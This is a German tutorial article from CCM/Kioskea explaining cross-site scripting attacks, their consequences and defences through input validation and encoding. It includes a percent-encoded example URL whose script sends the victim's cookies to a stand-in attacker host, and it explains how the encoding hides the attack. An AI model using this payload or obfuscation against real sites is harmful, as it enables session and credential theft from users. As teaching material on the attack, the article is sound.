Angriffe Cross-Site Scripting

November 2016

Einfügen von bösartigem Code


Angriffe durch Cross-Site Scripting (wird manchmal XSS oder CSS geschrieben) sind Angriffe, die gegen Websites gerichtet sind, die User-Inhalte dynamisch darstellen, ohne die von den Usern eingegebenen Daten zu überprüfen oder zu codieren. Cross-Site Scripting Angriffe bestehen darin, eine Website dazu zu bringen, vom User eingegebenen HTML-Code oder Scripts auszuführen. Der so in die Website eingefügte Code (man verwendet den Begriff« injiziert ») heißt « bösartig ».

Es kommt oft vor, dass Seiten Informationsnachrichten anzeigen, indem sie direkt einen vom User eingegebenen Parameter aufgreifen. Das klassische Beispiel ist das der « Fehler 404 Seite ». Manche Websites ändern die Reaktion der Website, sodass eine persönliche Fehlermeldung angezeigt wird, wenn die vom User aufgerufene Seite nicht existiert. Manchmal zeigt die dynamisch generierte Seite den Namen der augerufenen Seite an. Gehen wir davon aus, http://anfällige.Seite sei eine Seite mit solch einer Schwachstelle. Der Aufruf der URL http://anfällige.Seite/nichtexistente-Seite entspricht dem Aufruf einer Seite, die es nicht gibt und führt zur Anzeige einer Fehlermeldung, die darauf hinweist, dass « nichtexistente-Seite » nicht existiert. So ist es möglich, sich von der Website das anzeigen zu lassen, was man sehen möchte,indem man « nichtexistente-Seite » durch eine beliebige andere Zeichenfolge ersetzt.

Wenn also der von Usern eingegebene Inhalt in keinster Weise kontrolliert wird, ist es möglich, beliebigen HTML-Code auf einer Website anzuzeigen, um deren Erscheinungsbild, Inhalt oder Verhalten zu änadern.

Außerdem sind die meisten Browser im Stande, auf Websites enthaltene Scripts zu interpretieren, die in verschiedenen Sprachen geschrieben sind, wie JavaScript, VBScript, Java, ActiveX oder Flash. Die folgenden HTML-Tags ermöglichen es so, ausführbare Scripts in Weibsites einzufügen : <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.

So kann ein Hacker beliebigen Coden in eine Website injizieren, damit dieser vom PC des Users ausgeführt wird, und zwar innerhalb des Sicherheitsbereichs der betroffenen Website. Um dies zu tun, genügt es, den Wert des Textes, der angezeigt werden soll, durch ein Script zu ersetzen, damit dieses auf der Website angezeigt wird. Sofern der Browser des Users so konfiguriert ist, dass solche Scripts ausgeführt werden, hat der bösartige Code Zugang zu allen Daten, die der Userwebsite und dem Server gemeinsam sind (Cookies, Formularfelder, etc.).

Folgen


Durch die Schwachstelle des Cross-Site Scripting ist es einem Hacker möglich, auf diese Weise Daten zu gewinnen, die zwischen dem User und der jeweiligen Website ausgetauscht wurden. Der in die Website injizierte Code kann so dazu dienen, ein Formular anzuzeigen, um den User zu täuschen und ihn beispielsweise dazu zu bringen, Authentifizierungsinformationen einzugeben.

Des weiteren kann das injizierte Skript dazu dienen, den User zu einer vom Hacker kontrollierten Seite zu leiten, die unter Umständen gleich aussieht, wie die manipulierte Seite, um den User hinters Licht zu führen.

Unter diesen Umständen wird die Vertrauensbasis zwischen dem User und der Website aufs Spiel gesetzt.

Fortdauer des Angriffs


Wenn die vom User eingegebenen Daten eine Zeit lang auf dem Server gespeichert sind (zum Beispiel bei Diskussionsforen), wird der Angriff « fortwährend » genannt. Alle User der Website haben Zugriff auf die Seite, in die der bösartige Code eingefügt wurde.

Angriffe, die « nicht fortwährend » sind, betreffen dynamische Websites, auf denen eine vom User eingegebene Variable als solche dargestellt wird (beispielsweise die Anzeige des Usernamens, der aktuellen Seite oder eines im Formularfeld eingegebenen Wortes). Um diese Schwachstelle ausnützen zu können, muss der Angreifer dem Opfer eine veränderte URL liefern und den einzugebenden Code als Parameter ausgeben. Allerdings könnte dem Opfer eine URL, die Javascript Code-Elemente enthält, verdächtig vorkommen, deswegen wird dieser Angriff meist so ausgeführt, dass die Daten in der URL codiert werden, damit sie den Code, der dem User injiziert wird, maskiert.

Beispiel


Nehmen wir an, die Startseite von Kioskea.net sei anfällig für einen Cross-Site Scripting Angriff, da auf der Startseite eine Willkommensnachricht mit dem Namen des Users als Parameter angezeigt werden kann :

http://de.kioskea.net/?name=Jeff</code>



Jemand mit schlechten Absichten kann einen nicht fortwährenden Cross-Site Scripting Angriff durchführen, indem er einem Opfer eine Adresse liefert, die den Namen « Jeff » durch HTML-Code ersetzt. Er könnte zum Beispiel den folgenden Javascript Code als Parameter ausgeben, welcher den User zu einer von ihm kontrollierten Seite weiterleitet :





Der oben aufgeführte code ruft die Cookies des Users ab und übermittelt sie als Parameter an ein CGI Skript. Ein solcher Code als Parameter wäre zu augenscheinlich :

http://de.kioskea.net/?name=</code>



Das Codieren der URL ermöglicht es jedoch, den Angriff zu verschleiern :

http://de.kioskea.net/?name=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e

Cross-Attack


Im vorherigen Beispiel wurde das gesamte Script als Parameter der URL ausgegeben. Die GET Methode, die es erlaubt, Parameter in der URL auszugeben, ist auf eine Maximallänge von 255 Zeichen für die URL beschränkt. Durch das SRC Attributs des <SCRIPT> Tags wird es möglich, bösartigen Code auszuführen, der in einem Script auf einem fremden Server gespeichert ist ! Wenn dadurch die Injektion von Code von einer fremden Quelle ermöglicht wird, wird diese Art des Angriffs « Cross-Site » genannt. (« Cross-Site » bedeutet wörtlich « zwischen Seiten »).

Schutz


Von Seiten des Users ist es möglich, sich vor CSS Angriffen zu schützne, indem man den Browser so konfiguriert, dass Scripts nicht ausgeführt werden. In Wirklichkeit bringt diese Lösung aber oft starke Einschränkungen für den User mit sich, da viele Seiten nicht richtig funktionieren, wenn die Ausführung von dynamischen Code nicht möglich ist.

Die einzige verlässliche Weise, Cross-Site Scripting Angriffe zu verhindern, besteht darin, Websites zu konzipieren, die nicht dafür anfällig sind. Dafür muss eine Website :

  • Das Format der vom User eingegebenen Daten überprüfen ;
  • Die angezeigten Userdaten codieren, dabei die Sonderzeichen durch ihre HTML Äquivalente ersetzen.

Der Begriff Sanitation bezeichnet alle Vorgänge, die dazu dienen sollen, vom User eingegebene Daten sicher zu machen

Weitere Informationen




Lesen Sie auch :


Cross-Site Scripting attacks
Cross-Site Scripting attacks
Ataques de secuencia de comandos entre páginas Web (XSS)
Ataques de secuencia de comandos entre páginas Web (XSS)
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
XSS - Cross-Site Scripting
Ataques Cross-Site Scripting
Ataques Cross-Site Scripting
Das Dokument mit dem Titel « Angriffe Cross-Site Scripting » aus CCM (de.ccm.net) wird zur Verfügung gestellt unter den Bedingungen der Creative Commons Lizenz. Sie dürfen das Dokument verwenden, verändern sowie Vervielfältigungen dieser Seite erstellen, unter den Bedingungen, die in der vorgenannten Lizenz erwähnt sind und unter der gleichzeitigen Bedingung, dass Sie im Rahmen Ihrer Verwendung, Veränderung oder Vervielfältigung nach außen hin klar und deutlich auf den Urheber (= de.ccm.net) des Dokuments hinweisen.